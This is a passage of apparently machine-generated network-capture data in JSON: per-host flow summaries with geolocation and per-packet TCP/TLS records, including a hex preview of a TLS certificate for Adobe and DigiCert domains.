30, \"time\": 1781447320.196215, \"size\": 54, \"direction\": \"received\"}, {\"num\": 31, \"time\": 1781447320.200948, \"size\": 2470, \"direction\": \"sent\"}, {\"num\": 32, \"time\": 1781447320.201198, \"size\": 54, \"direction\": \"received\"}, {\"num\": 33, \"time\": 1781447320.218596, \"size\": 212, \"direction\": \"received\"}, {\"num\": 34, \"time\": 1781447320.21861, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 35, \"time\": 1781447320.977316, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 36, \"time\": 1781447320.977562, \"size\": 54, \"direction\": \"received\"}, {\"num\": 37, \"time\": 1781447320.979273, \"size\": 141, \"direction\": \"received\"}, {\"num\": 38, \"time\": 1781447320.979285, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 39, \"time\": 1781447320.979388, \"size\": 92, \"direction\": \"received\"}, {\"num\": 40, \"time\": 1781447320.979396, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 41, \"time\": 1781447320.980865, \"size\": 168, \"direction\": \"received\"}, {\"num\": 42, \"time\": 1781447320.980876, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 43, \"time\": 1781447322.077957, \"size\": 1200, \"direction\": \"sent\"}, {\"num\": 44, \"time\": 1781447322.078324, \"size\": 54, \"direction\": \"received\"}, {\"num\": 45, \"time\": 1781447322.079644, \"size\": 118, \"direction\": \"received\"}, {\"num\": 46, \"time\": 1781447322.079652, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 47, \"time\": 1781447322.650325, \"size\": 689, \"direction\": \"sent\"}, {\"num\": 48, \"time\": 1781447322.650515, \"size\": 54, \"direction\": \"received\"}, {\"num\": 49, \"time\": 1781447322.654608, \"size\": 164, \"direction\": \"received\"}, {\"num\": 50, \"time\": 1781447322.65463, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 51, \"time\": 1781447322.950086, \"size\": 682, \"direction\": \"sent\"}, {\"num\": 52, \"time\": 1781447322.950316, \"size\": 54, \"direction\": \"received\"}, {\"num\": 127, \"time\": 1781447330.802041, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Amsterdam\", \"lat\": 52.3759, \"lon\": 4.8975, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"40.99.204.0/24\"}, \"duration\": 14.919091939926147, \"avg_packet_size\": 320.73333333333335, \"packets_per_second\": 2.0108462445837376}, {\"id\": \"52.98.232.34\", \"ip\": \"52.98.232.34\", \"packet_count\": 30, \"total_bytes_sent\": 7991, \"total_bytes_received\": 1615, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781447323.165555, \"last_seen\": 1781447330.802238, \"packets\": [{\"num\": 53, \"time\": 1781447323.165555, \"size\": 66, \"direction\": \"received\"}, {\"num\": 54, \"time\": 1781447323.165582, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 55, \"time\": 1781447323.16586, \"size\": 54, \"direction\": \"received\"}, {\"num\": 56, \"time\": 1781447323.166265, \"size\": 260, \"direction\": \"received\"}, {\"num\": 57, \"time\": 1781447323.166271, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 58, \"time\": 1781447323.880333, \"size\": 4102, \"direction\": \"sent\"}, {\"num\": 59, \"time\": 1781447323.880639, \"size\": 54, \"direction\": \"received\"}, {\"num\": 60, \"time\": 1781447323.880665, \"size\": 370, \"direction\": \"sent\"}, {\"num\": 61, \"time\": 1781447323.880766, \"size\": 54, \"direction\": \"received\"}, {\"num\": 62, \"time\": 1781447323.884326, \"size\": 212, \"direction\": \"received\"}, {\"num\": 63, \"time\": 1781447323.884337, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 64, \"time\": 1781447325.066489, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 65, \"time\": 1781447325.066843, \"size\": 54, \"direction\": \"received\"}, {\"num\": 66, \"time\": 1781447325.069209, \"size\": 141, \"direction\": \"received\"}, {\"num\": 67, \"time\": 1781447325.069217, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 68, \"time\": 1781447325.069318, \"size\": 92, \"direction\": \"received\"}, {\"num\": 69, \"time\": 1781447325.069323, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 70, \"time\": 1781447325.069487, \"size\": 170, \"direction\": \"received\"}, {\"num\": 71, \"time\": 1781447325.069492, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 72, \"time\": 1781447325.524664, \"size\": 1160, \"direction\": \"sent\"}, {\"num\": 73, \"time\": 1781447325.525011, \"size\": 54, \"direction\": \"received\"}, {\"num\": 74, \"time\": 1781447325.525762, \"size\": 118, \"direction\": \"received\"}, {\"num\": 75, \"time\": 1781447325.52577, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 76, \"time\": 1781447325.818606, \"size\": 751, \"direction\": \"sent\"}, {\"num\": 77, \"time\": 1781447325.818829, \"size\": 54, \"direction\": \"received\"}, {\"num\": 78, \"time\": 1781447325.820841, \"size\": 124, \"direction\": \"received\"}, {\"num\": 79, \"time\": 1781447325.820847, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 80, \"time\": 1781447326.533236, \"size\": 683, \"direction\": \"sent\"}, {\"num\": 81, \"time\": 1781447326.533632, \"size\": 54, \"direction\": \"received\"}, {\"num\": 129, \"time\": 1781447330.802238, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Amsterdam\", \"lat\": 52.3759, \"lon\": 4.8975, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"52.98.232.0/26\"}, \"duration\": 7.636682987213135, \"avg_packet_size\": 320.2, \"packets_per_second\": 3.9284071435506767}, {\"id\": \"52.97.201.82\", \"ip\": \"52.97.201.82\", \"packet_count\": 35, \"total_bytes_sent\": 11948, \"total_bytes_received\": 1725, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781447326.772606, \"last_seen\": 1781447330.802219, \"packets\": [{\"num\": 82, \"time\": 1781447326.772606, \"size\": 66, \"direction\": \"received\"}, {\"num\": 83, \"time\": 1781447326.772633, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 84, \"time\": 1781447326.772843, \"size\": 54, \"direction\": \"received\"}, {\"num\": 85, \"time\": 1781447326.773158, \"size\": 262, \"direction\": \"received\"}, {\"num\": 86, \"time\": 1781447326.773166, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 87, \"time\": 1781447327.201075, \"size\": 2006, \"direction\": \"sent\"}, {\"num\": 88, \"time\": 1781447327.201227, \"size\": 2974, \"direction\": \"sent\"}, {\"num\": 89, \"time\": 1781447327.201236, \"size\": 54, \"direction\": \"received\"}, {\"num\": 90, \"time\": 1781447327.201239, \"size\": 1038, \"direction\": \"sent\"}, {\"num\": 91, \"time\": 1781447327.201312, \"size\": 54, \"direction\": \"received\"}, {\"num\": 92, \"time\": 1781447327.201582, \"size\": 2345, \"direction\": \"sent\"}, {\"num\": 93, \"time\": 1781447327.201691, \"size\": 54, \"direction\": \"received\"}, {\"num\": 94, \"time\": 1781447327.209742, \"size\": 212, \"direction\": \"received\"}, {\"num\": 95, \"time\": 1781447327.209752, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 101, \"time\": 1781447328.018237, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 102, \"time\": 1781447328.018388, \"size\": 54, \"direction\": \"received\"}, {\"num\": 103, \"time\": 1781447328.019876, \"size\": 141, \"direction\": \"received\"}, {\"num\": 104, \"time\": 1781447328.019881, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 105, \"time\": 1781447328.019965, \"size\": 170, \"direction\": \"received\"}, {\"num\": 106, \"time\": 1781447328.019969, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 107, \"time\": 1781447328.020019, \"size\": 92, \"direction\": \"received\"}, {\"num\": 108, \"time\": 1781447328.020022, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 109, \"time\": 1781447328.5346, \"size\": 92, \"direction\": \"sent\"}, {\"num\": 110, \"time\": 1781447328.534925, \"size\": 54, \"direction\": \"received\"}, {\"num\": 117, \"time\": 1781447329.411533, \"size\": 1168, \"direction\": \"sent\"}, {\"num\": 118, \"time\": 1781447329.411932, \"size\": 54, \"direction\": \"received\"}, {\"num\": 119, \"time\": 1781447329.414432, \"size\": 118, \"direction\": \"received\"}, {\"num\": 120, \"time\": 1781447329.414452, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 121, \"time\": 1781447330.15599, \"size\": 718, \"direction\": \"sent\"}, {\"num\": 122, \"time\": 1781447330.15617, \"size\": 54, \"direction\": \"received\"}, {\"num\": 123, \"time\": 1781447330.158138, \"size\": 124, \"direction\": \"received\"}, {\"num\": 124, \"time\": 1781447330.158148, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 125, \"time\": 1781447330.790098, \"size\": 682, \"direction\": \"sent\"}, {\"num\": 126, \"time\": 1781447330.79032, \"size\": 54, \"direction\": \"received\"}, {\"num\": 128, \"time\": 1781447330.802219, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Amsterdam\", \"lat\": 52.3759, \"lon\": 4.8975, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"52.97.201.64/26\"}, \"duration\": 4.029613018035889, \"avg_packet_size\": 390.65714285714284, \"packets_per_second\": 8.685697570299114}, {\"id\": \"194.36.32.201\", \"ip\": \"194.36.32.201\", \"packet_count\": 11, \"total_bytes_sent\": 4698, \"total_bytes_received\": 741, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1781447327.966555, \"last_seen\": 1781447328.650559, \"packets\": [{\"num\": 96, \"time\": 1781447327.966555, \"size\": 66, \"direction\": \"received\"}, {\"num\": 97, \"time\": 1781447327.966578, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 98, \"time\": 1781447327.966872, \"size\": 54, \"direction\": \"received\"}, {\"num\": 99, \"time\": 1781447327.966938, \"size\": 459, \"direction\": \"received\"}, {\"num\": 100, \"time\": 1781447327.966941, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 111, \"time\": 1781447328.547031, \"size\": 1518, \"direction\": \"sent\"}, {\"num\": 112, \"time\": 1781447328.547259, \"size\": 54, \"direction\": \"received\"}, {\"num\": 113, \"time\": 1781447328.558229, \"size\": 1030, \"direction\": \"sent\"}, {\"num\": 114, \"time\": 1781447328.609485, \"size\": 54, \"direction\": \"received\"}, {\"num\": 115, \"time\": 1781447328.650252, \"size\": 2030, \"direction\": \"sent\"}, {\"num\": 116, \"time\": 1781447328.650559, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 215724, \"isp\": \"Edgevana, Inc.\", \"network\": \"194.36.32.0/23\"}, \"duration\": 0.6840038299560547, \"avg_packet_size\": 494.45454545454544, \"packets_per_second\": 16.081781297491737}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"184.30.157.69\", \"packet_count\": 12, \"total_bytes\": 1849, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63942], \"dst_ports\": [443], \"first_packet\": 1781447314.00483, \"last_packet\": 1781447315.900435, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1781447314.00483, \"timestamp_iso\": \"2026-06-14T19:58:34.004830\", \"timestamp_human\": \"2026-06-14 19:58:34.004\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12207, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473779193, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1781447314.005119, \"timestamp_iso\": \"2026-06-14T19:58:34.005119\", \"timestamp_human\": \"2026-06-14 19:58:34.005\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12208, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473779194, \"tcp_ack\": 616604218, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1781447314.005695, \"timestamp_iso\": \"2026-06-14T19:58:34.005695\", \"timestamp_human\": \"2026-06-14 19:58:34.005\", \"size\": 240, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12209, \"ip_len\": 226, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473779194, \"tcp_ack\": 616604218, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1781447314.356732, \"timestamp_iso\": \"2026-06-14T19:58:34.356732\", \"timestamp_human\": \"2026-06-14 19:58:34.356\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12210, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473779380, \"tcp_ack\": 616604706, \"tcp_window\": 8210, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1781447314.374629, \"timestamp_iso\": \"2026-06-14T19:58:34.374629\", \"timestamp_human\": \"2026-06-14 19:58:34.374\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12211, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473779380, \"tcp_ack\": 616607919, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 9, \"timestamp\": 1781447314.378441, \"timestamp_iso\": \"2026-06-14T19:58:34.378441\", \"timestamp_human\": \"2026-06-14 19:58:34.378\", \"size\": 180, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12212, \"ip_len\": 166, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473779380, \"tcp_ack\": 616607919, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 66, \"payload_preview\": \"4104b4da3568a9ed1589ad01cfbb1a1a0ee7ee66f59d17abe97d932f03b617c15e9c13278a442016738ac6dc6b24aa050129344f932f5598fb9c37004d76e21104d0\", \"payload_ascii\": \"A\\u00045h\\u0015\\u0001\\u001a\\u001a\\u000ef\\u0017}/\\u0003\\u0017^\\u0013'D \\u0016sk$\\u0005\\u0001)4O/U7\\u0000Mv\\u0011\\u0004\"}, {\"packet_number\": 12, \"timestamp\": 1781447314.655549, \"timestamp_iso\": \"2026-06-14T19:58:34.655549\", \"timestamp_human\": \"2026-06-14 19:58:34.655\", \"size\": 549, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12213, \"ip_len\": 535, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473779506, \"tcp_ack\": 616608193, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1781447314.876646, \"timestamp_iso\": \"2026-06-14T19:58:34.876646\", \"timestamp_human\": \"2026-06-14 19:58:34.876\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12214, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473780001, \"tcp_ack\": 616611609, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 17, \"timestamp\": 1781447314.893918, \"timestamp_iso\": \"2026-06-14T19:58:34.893918\", \"timestamp_human\": \"2026-06-14 19:58:34.893\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12215, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473780001, \"tcp_ack\": 616615513, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 19, \"timestamp\": 1781447314.942113, \"timestamp_iso\": \"2026-06-14T19:58:34.942113\", \"timestamp_human\": \"2026-06-14 19:58:34.942\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12216, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473780001, \"tcp_ack\": 616616290, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 20, \"timestamp\": 1781447315.379031, \"timestamp_iso\": \"2026-06-14T19:58:35.379031\", \"timestamp_human\": \"2026-06-14 19:58:35.379\", \"size\": 436, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12217, \"ip_len\": 422, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473780001, \"tcp_ack\": 616616290, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 28, \"timestamp\": 1781447315.900435, \"timestamp_iso\": \"2026-06-14T19:58:35.900435\", \"timestamp_human\": \"2026-06-14 19:58:35.900\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12218, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63942, \"dst_port\": 443, \"tcp_seq\": 2473780383, \"tcp_ack\": 616616923, \"tcp_window\": 8206, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 11, \"PSH\": 4}, \"packet_sizes\": [66, 54, 240, 54, 54, 180, 549, 54, 54, 54, 436, 54], \"inter_packet_intervals\": [0.0002892017364501953, 0.000576019287109375, 0.35103678703308105, 0.01789712905883789, 0.003812074661254883, 0.27710795402526855, 0.22109699249267578, 0.017271995544433594, 0.04819488525390625, 0.4369180202484131, 0.5214040279388428], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 1.8956050872802734, \"avg_packet_size\": 154.08333333333334, \"packets_per_second\": 6.3304324727346275, \"bytes_per_second\": 975.4141368405271, \"min_packet_size\": 54, \"max_packet_size\": 549, \"median_packet_size\": 54, \"avg_interval\": 0.17232773520729758, \"min_interval\": 0.0002892017364501953, \"max_interval\": 0.5214040279388428}, {\"source\": \"184.30.157.69\", \"target\": \"10.152.152.11\", \"packet_count\": 12, \"total_bytes\": 13365, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"src_ports\": [443], \"dst_ports\": [63942], \"first_packet\": 1781447314.004835, \"last_packet\": 1781447315.859382, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1781447314.004835, \"timestamp_iso\": \"2026-06-14T19:58:34.004835\", \"timestamp_human\": \"2026-06-14 19:58:34.004\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616604217, \"tcp_ack\": 2473779194, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1781447314.005698, \"timestamp_iso\": \"2026-06-14T19:58:34.005698\", \"timestamp_human\": \"2026-06-14 19:58:34.005\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39910, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616604218, \"tcp_ack\": 2473779380, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1781447314.311497, \"timestamp_iso\": \"2026-06-14T19:58:34.311497\", \"timestamp_human\": \"2026-06-14 19:58:34.311\", \"size\": 542, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39911, \"ip_len\": 528, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616604218, \"tcp_ack\": 2473779380, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1781447314.374327, \"timestamp_iso\": \"2026-06-14T19:58:34.374327\", \"timestamp_human\": \"2026-06-14 19:58:34.374\", \"size\": 3267, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39912, \"ip_len\": 3253, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616604706, \"tcp_ack\": 2473779380, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3213, \"payload_preview\": \"decfbd2937aa031dbeedcd17301d0603551d0e041604149994c8de674b0563825cc846f0ad8df972f856ad3081cb0603551d110481c33081c082136173736574732e61646f626564746d2e636f6d821f63646e312d73746167696e672e61646f62657265736f75726365732e6e657482196173736574732e61646f62657265736f75726365732e6e657482216173736574732d73746167696e672e61646f62657265736f75726365732e6e6574821763646e312e61646f62657265736f75726365732e6e65748215636f6d6d657263652e61646f626564746d2e636f6d821a6d6167656e746f2d726563732d73646b2e61646f62652e6e6574303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff040403020388301d0603551d250416301406082b0601050507030106082b0601050507030230819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017e060a2b06010401d6790204020482016e0482016a0168007600d76d7d10d1a7f577c2c7e95fd700bff982c9335a65e1d0b3017317c0c8c5697700000197a356776d0000040300473045022100ba13cdb0191ff2dda7613f7abaa7a2709aad9dcb1d225f285caa90401b88d1cf02204f4cced7a52a563f96e619b5a84a3ea3265604c247ef88fe44872362f1788499007700c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd00000197a35677990000040300483046022100ba0becbb14c6527db1b14357ed59fbcfd99c67a8921e6bc1e8cef99a99eb7b97022100dbe61c5fec37f4caebd7688dfd4867de1e0253641e958279c144db5455387384007500944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d800000197a35677ab000004030046304402204689c9b939bc70f0eb7100247f2ebb036595e5feee06c2a0c12ad3a0cf925a090220136005146ca316af5faab6c9211868852c22a24ee42ac9374af8c78fdecf122c300d06092a864886f70d01010b050003820101009568286c9d10cf14a45fab15a703543efc1863106aa47085e985102f8dd54639c32d186b32b0b7f64002cfedc28a506bf1fa039b3f0c590a9ca8356df9e91fdea22c1de099bc120cdf06d8069913e22db60731146f9bd78bb64cfc16d39f44a66ecd281f52c3c7477a35d12c29e9ce6ddf6d80fad6cbb6ab1d9d34e1cdef10870430d94d31c40896b0c2a6e02b2b5cd822ed23dd0197e9bf07b86059e63d35ef7d802cd3bc54a2455aadbf9c0780ae0867900f72bca9cc27cbbaa1c256a351a17f7fe3